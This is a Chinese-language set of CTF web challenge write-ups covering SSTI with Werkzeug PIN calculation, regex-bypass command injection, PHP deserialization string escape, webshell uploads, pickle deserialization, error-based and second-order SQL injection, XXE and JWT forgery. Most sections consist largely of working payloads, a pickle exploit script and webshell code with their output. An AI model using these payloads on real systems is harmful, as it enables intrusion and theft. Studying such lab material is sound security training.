[GYCTF2020]FlaskApp

decode路由存在SSTI,如果直接获取__subclasses__(),由于资源太多导致网站直接502了,尝试一次获取100个,找到os._wrap_close

{{().__class__.__bases__[0].__subclasses__()[127]}}
e3soKS5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbMTI3XX19

但是过滤了system,由于flask开启了debug,考虑获取PIN码,先获取_frozen_importlib位置:

{{().__class__.__bases__[0].__subclasses__()[75]}}
e3soKS5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdfX0=

获取username:

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
e3soKS5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fLl9fYnVpbHRpbnNfX1snb3BlbiddKCcvZXRjL3Bhc3N3ZCcpLnJlYWQoKX19

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin flaskweb:x:1000:1000::/home/flaskweb:/bin/sh

获取/etc/machine-id:

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/machine-id').read()}}
e3soKS5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fLl9fYnVpbHRpbnNfX1snb3BlbiddKCcvZXRjL21hY2hpbmUtaWQnKS5yZWFkKCl9fQ==

1408f836b0ca514d796cbf8960e45fa1 

获取uuidnode:

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/sys/class/net/eth0/address').read()}}
e3soKS5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fLl9fYnVpbHRpbnNfX1snb3BlbiddKCcvc3lzL2NsYXNzL25ldC9ldGgwL2FkZHJlc3MnKS5yZWFkKCl9fQ==

d2:7b:56:a5:0e:2d  对应十进制数值为231427176468013

报错获取app.py绝对路径:

/usr/local/lib/python3.7/site-packages/flask/app.py

算出PIN码255-971-270,访问console路由进行rce:

__import__('os').popen('cat /this_is_the_flag.txt').read()

'flag{df780c8c-7265-468e-bfce-c04079d78e67}\n'

参考文章:

https://www.freebuf.com/articles/web/359392.html

https://xz.aliyun.com/news/2235#toc-2


[FBCTF2019]RCEService

原题给了源码:

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

由于preg_match匹配开头和结尾为除换行符以外的所有字符,所以可以尝试换行符%0A绕过:

?cmd={%0a"cmd":"ls%20/"%0a}

匹配到开头为{,中间为%0a,由于后面还有一个%0a,不满足.*$,所以匹配结果为false,但是php的preg_match好像不会管字符串最后的换行符

找出flag位置,由于设置了PATH,用绝对路径执行命令即可:

?cmd={%0a"cmd":"ls%20/home/rceservice"%0a}
flag
jail

?cmd={%0a"cmd":"/bin/cat%20/home/rceservice/flag"%0a}
flag{24ba5085-75cf-45bd-aef3-46ffa53a6018}

在线匹配正则的网站


[Zer0pts2020]Can you guess it?

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>

利用basename的漏洞:

/index.php/config.php/%ff?source

<?php
define('FLAG', 'flag{f7488202-3627-4482-8c75-39fa925f8d72}');

参考文章:

https://blog.51cto.com/xunansec/5356203


[0CTF 2016]piapiapia

www.zip源码泄露

index.php:

<?php
	require_once('class.php');
	if($_SESSION['username']) {
		header('Location: profile.php');
		exit;
	}
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];

		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');

		if($user->login($username, $password)) {
			$_SESSION['username'] = $username;
			header('Location: profile.php');
			exit;	
		}
		else {
			die('Invalid user name or password');
		}
	}
	else {
?>

register.php:

<?php
	require_once('class.php');
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];

		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');
		if(!$user->is_exists($username)) {
			$user->register($username, $password);
			echo 'Register OK!<a href="index.php">Please Login</a>';		
		}
		else {
			die('User name Already Exists');
		}
	}
	else {
?>

update.php:

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>

profile.php:

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>

class.php:

<?php
require('config.php');

class user extends mysql{
	private $table = 'users';

	public function is_exists($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		return parent::select($this->table, $where);
	}
	public function register($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$key_list = Array('username', 'password');
		$value_list = Array($username, md5($password));
		return parent::insert($this->table, $key_list, $value_list);
	}
	public function login($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		if ($object && $object->password === md5($password)) {
			return true;
		} else {
			return false;
		}
	}
	public function show_profile($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		return $object->profile;
	}
	public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}
	public function __tostring() {
		return __class__;
	}
}

class mysql {
	private $link = null;

	public function connect($config) {
		$this->link = mysql_connect(
			$config['hostname'],
			$config['username'], 
			$config['password']
		);
		mysql_select_db($config['database']);
		mysql_query("SET sql_mode='strict_all_tables'");

		return $this->link;
	}

	public function select($table, $where, $ret = '*') {
		$sql = "SELECT $ret FROM $table WHERE $where";
		$result = mysql_query($sql, $this->link);
		return mysql_fetch_object($result);
	}

	public function insert($table, $key_list, $value_list) {
		$key = implode(',', $key_list);
		$value = '\'' . implode('\',\'', $value_list) . '\''; 
		$sql = "INSERT INTO $table ($key) VALUES ($value)";
		return mysql_query($sql);
	}

	public function update($table, $key, $value, $where) {
		$sql = "UPDATE $table SET $key = '$value' WHERE $where";
		return mysql_query($sql);
	}

	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';  // $escape = '/\|\\\\/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');  
		$safe = '/' . implode('|', $safe) . '/i';  // $safe = '/select|insert|update|delete|where/i';
		return preg_replace($safe, 'hacker', $string);
	}
	public function __tostring() {
		return __class__;
	}
}
session_start();
$user = new user();
$user->connect($config);

PHP版本为5.6.40,主要关注update.php中的序列化,profile.php中的反序列化以及class.php中的filter函数,登录注册等页面都不存在sql注入。尝试在profile.php中获取到config.php的文件内容,但是update.php中的photo无法通过传参控制,结合class.php中filter函数对过滤字符where更换为hacker的操作,导致字符变多,考虑利用 数组绕过preg_match+数组绕过strlen+字符串逃逸 的方法在nickname处恶意构造序列化字符串:

------geckoformboundary1ede678c1f95225cf35256bb0ab372c1
Content-Disposition: form-data; name="phone"

12345678901
------geckoformboundary1ede678c1f95225cf35256bb0ab372c1
Content-Disposition: form-data; name="email"

114514@qq.com
------geckoformboundary1ede678c1f95225cf35256bb0ab372c1
Content-Disposition: form-data; name="nickname[]"

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
------geckoformboundary1ede678c1f95225cf35256bb0ab372c1
Content-Disposition: form-data; name="photo"; filename="test.php"
Content-Type: application/php

testtesttest
------geckoformboundary1ede678c1f95225cf35256bb0ab372c1--

访问profile.php就可以获取base64数据流,解码可得config.php:

<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{4ca493b0-6039-4a8e-9dae-6dd61a58d279}';
?>

多版本PHP环境在线测试


[SUCTF 2019]Pythonginx

本题的环境好像已经无法获取flag了

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333

idna解析非ascii字符标准化问题:

file://suctf.ⅽc/../../../etc/passwd

相关工具:

搜索相似的unicode字符网站

Unicode fuzzer

参考文章:

https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf

https://www.tr0y.wang/2020/08/18/IDN/


[MRCTF2020]套娃

$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}

传参中不能出现下划线,但是php有将特殊符号参数名解析为下划线的特性,preg_match默认单行匹配不会匹配结尾的%0a即换行符:

?b+u+p+t=23333%0A
或?b u p t=23333%0A

how smart you are ~
FLAG is in secrettw.php 

secrettw.php页面源码注释中有一段jsfuck,控制台运行一下:

post me Merak

secrettw.php:

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>  

测试可知getIP检测的是Client-IP头:

?2333=data://,todat%20is%20a%20happy%20day&file=ZmpdYSZmXGI=

Flag is here~But how to get it?Local access only!<br/>Your REQUEST is:flag.php<?php
$flag = 'flag{902b4616-9d7d-49a9-9b98-1b5b1a15833a}';
echo "Flag is here~But how to get it?";
?>

参考文章:

https://www.cnblogs.com/hithub/p/16804708.html


[CSCCTF 2019 Qual]FlaskLight

  <!-- Parameter Name: search -->
  <!-- Method: GET -->

测试了一下得知是python2:

waf过滤了global和system,用request.arg来绕过:

?search={{()[request.args.v1][request.args.v2][-1][request.args.v3]()[58][request.args.v4][request.args.v5][request.args.v6][request.args.v7](request.args.v8)}}&v1=__class__&v2=__mro__&v3=__subclasses__&v4=__init__&v5=__globals__&v6=__builtins__&v7=eval&v8=__import__("os").popen("cat /fla*/coomme_geeeett_youur_flek").read()

flag{b658a75b-8b7e-4298-907f-b06701d89bf8}


[watevrCTF-2019]Cookie Store

Cookie中的session只经过base64编码,解码可得明文内容,伪造money:100即可,购买flag:

Set-Cookie: session=eyJtb25leSI6IDAsICJoaXN0b3J5IjogWyJZdW1teSBjaG9jb2xhdGUgY2hpcCBjb29raWUiLCAiZmxhZ3szMTM2YTZmNC03YjhlLTQ0MmUtYjFiYy00NzcyNzFlNzJkMDd9XG4iXX0=; 

{"money": 0, "history": ["Yummy chocolate chip cookie", "flag{3136a6f4-7b8e-442e-b1bc-477271e72d07}\n"]}

[WUSTCTF2020]CV Maker

登录成功后有个文件上传,上传空文件可以看到warning:

Warning: exif_imagetype(): Filename cannot be empty in /var/www/html/profile.php on line 76

查了一下exif_imagetype(),这个函数通过读取图像的前几个字节并检查其签名来工作,上传一句话木马:

Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: application/gif

GIF89a<?php @eval($_POST["shell"]); ?>

蚁剑连上拿flag:flag{c976d3cc-196a-4b97-b6be-b4a8911c6e7d}


[CISCN2019 华北赛区 Day1 Web2]ikun

网页中有一段话:

ikun们冲鸭,一定要买到lv6!!!

尝试先找到lv6的page页数:

import requests

url = "http://49170cc3-3b88-4c25-972e-e197bf95c016.node5.buuoj.cn:81/shop"

for i in range(500):
    params = {"page":f"{i}"}
    resp = requests.get(url, params)
    if ("/static/img/lv/lv6.png" in resp.text):
        print("Found page: " + str(i))

# Found page: 181

购买前需要登录,直接买钱是不够的,抓包看一下,发现可以改折扣:

_xsrf=2%7C807606a1%7C9140beb256c835e2363761153abb462b%7C1755505534&id=1624&price=1145141919.0&discount=0.00000001

之后会跳转到:/b1g_m4mber,不过只有admin才能访问,尝试伪造JWT,尝试爆破得到密钥:1Kun,修改username为admin:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

网页源码给出了提示,存在备份文件:

<a href="/static/asd1f654e683wq/www.zip" ><span style="visibility:hidden">删库跑路前我留了好东西在这里</span></a>

Admin.py中存在pickle反序列化漏洞:

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

python2环境,exp.py:

import pickle
from urllib  import quote

class payload(object):

    def __reduce__(self):

       return (eval, ("open('/flag.txt','r').read()",))


a = pickle.dumps(payload())

a = quote(a)

print(a)

补上_xsrf,传参become=c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

flag{e5e38db3-dd24-4248-81f0-02e9ae2fe8f0}

[红明谷CTF 2021]write_shell

function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

过滤了eval还有下划线导致一句话木马和许多执行系统命令的函数无法使用,同时过滤了php导致常规的<?php ?>无法写入文件,想到两种方法绕过

方法一:短标签+assert+hex2bin构造一句话木马

<?=assert(hex2bin("6576616c28245f524551554553545b277368656c6c275d293b"))?>
即<?=assert(eval($_REQUEST['shell']);)?>

蚁剑连上找到flag:flag{ba1d16ab-0fef-46cb-977c-3f2aea47a494}

方法二:短标签+反引号执行系统命令并返回结果+%09绕过空格

<?=`cat%09/flllllll1112222222lag`?>

[RCTF2015]EasySQL

修改密码处存在报错注入,username是双引号闭合的,注册时进行注入即可,过滤了空格 and or mid left right substring

114"||updatexml(1,concat(0x7e,database()),1)#
XPATH syntax error: '~web_sqli'

114"||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1)#
XPATH syntax error: '~article,flag,users'

114"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),1)#
XPATH syntax error: '~flag'

114"||updatexml(1,concat(0x7e,(select(flag)from(flag))),1)#
XPATH syntax error: '~RCTF{Good job! But flag not her'

114"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1)#
XPATH syntax error: '~name,pwd,email,real_flag_1s_her'

114"||updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('flag'))),1)#
XPATH syntax error: '~flag{6c7b5915-cce7-456b-895e-1c'

114"||updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('flag')))),1)#
XPATH syntax error: '~}a64df4b619c1-e598-b654-7ecc-51'

flag{6c7b5915-cce7-456b-895e-1c916b4fd46a}


[GWCTF 2019]枯燥的抽奖

check.php:

 <?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
    if($_POST['num']===$str){x
        echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
    }
    else{
        echo "<p id=flag>没抽中哦,再试试吧</p>";
    }
}
show_source("check.php"); 

使用php_mt_seed工具,生成该工具参数所需的格式:

d = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
c = 'Z1wu33G2yq'

output = ''

for s in c:
    output += str(d.index(s)) + ' ' + str(d.index(s)) + ' 0 61 '
print(output)
$ ./php_mt_seed 60 60 0 61 37 37 0 61 16 16 0 61 53 53 0 61 33 33 0 61 33 33 0 61 20 20 0 61 6 6 0 61 11 11 0 61 61 61 0 61
Pattern: EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62
Version: 3.0.7 to 5.2.0
Found 0, trying 0xe0000000 - 0xffffffff, speed 2505.4 Mseeds/s 
Version: 5.2.1+
Found 0, trying 0x00000000 - 0x0fffffff, speed 0.0 Mseeds/s 
seed = 0x013e80f3 = 12559208 (PHP 7.1.0+)
Found 1, trying 0xb0000000 - 0xbfffffff, speed 210.6 Mseeds/s

根据seed生成20位字符串:

<?php
mt_srand(12559208);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
$str_show = substr($str, 0, 20);
echo $str_show;
?>

Z1wu33G2yq3xInpVgJAj,抽奖,就是那么枯燥且无味,给你flag{5fe58a16-cc68-47aa-9811-a11f87a7b657}


[NCTF2019]True XML cookbook

存在XXE外部实体注入漏洞:

<!DOCTYPE a [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<user><username>&file;</username><password>114514</password></user>

用php伪协议读取doLogin.php源码:

<!DOCTYPE a [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/doLogin.php">
]>
<user><username>&file;</username><password>114514</password></user>

doLogin.php:

<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
	$dom = new DOMDocument();
	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
	$creds = simplexml_import_dom($dom);

	$username = $creds->username;
	$password = $creds->password;

	if($username == $USERNAME && $password == $PASSWORD){
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
	}else{
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
	}	
}catch(Exception $e){
	$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

获取/proc/net/fib_trie,探测内网ip:10.244.166.236的C段,爆破得到flag


[CISCN2019 华北赛区 Day1 Web5]CyberPunk

页面注释有个file,存在文件包含,php伪协议读取源码

index.php:

<?php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
    if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
        echo('no way!');
        exit;
    }
    @include($file);
}
?>

search.php:

<?php

require_once "config.php"; 

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        if(!$row) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

change.php:

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

delete.php:

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单删除成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

config.php:

<?php

ini_set("open_basedir", getcwd() . ":/etc:/tmp");

$DATABASE = array(

    "host" => "127.0.0.1",
    "username" => "root",
    "password" => "root",
    "dbname" =>"ctfusers"
);

$db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);

change.php中未对address进行过滤,尝试注入点为address的二次注入+报错注入,用户权限为root,可以load_file:

1"' and updatexml(1,concat(0x7e,database()),1)#
errorXPATH syntax error: '~ctfusers'

1"' and updatexml(1,concat(0x7e,(select load_file("/flag.txt"))),1)#
errorXPATH syntax error: '~flag{9f15a769-7b93-45f5-add5-3d'

1"' and updatexml(1,concat(0x7e,substr((select load_file("/flag.txt")),30)),1)#
errorXPATH syntax error: '~3dbf4a23b76f}

flag{9f15a769-7b93-45f5-add5-3dbf4a23b76f}


[网鼎杯 2020 白虎组]PicDown

url是个任意文件读取,先从环境变量获取工作目录/proc/self/environ:

PWD=/app

/app/app.py:

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
    return render_template('search.html')


@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

未关闭SECRET_FILE的文件流,利用fd仍然可以读取该文件内容,/proc/self/fd/3:

PExSWPFkA1V0CvVHVBjiLwoewfZT8tz2ERO30FehoiQ=

os.system命令执行的结果不会输出到网页,尝试将命令结果保存到/tmp目录下:

ls / | cat > /tmp/1.txt

发现根目录下有flag文件:flag{76d21877-ab9e-41dd-973e-28ac68487ed4}


[b01lers2020]Welcome to Earth

一直跳转,看每个网页的js和源码就行,/static/js/fight.js:

// Run to scramble original flag
//console.log(scramble(flag, action));
function scramble(flag, key) {
  for (var i = 0; i < key.length; i++) {
    let n = key.charCodeAt(i) % flag.length;
    let temp = flag[i];
    flag[i] = flag[n];
    flag[n] = temp;
  }
  return flag;
}

function check_action() {
  var action = document.getElementById("action").value;
  var flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"];

  // TODO: unscramble function
}

看格式猜出flag:pctf{hey_boys_im_baaaaaaaaaack!}


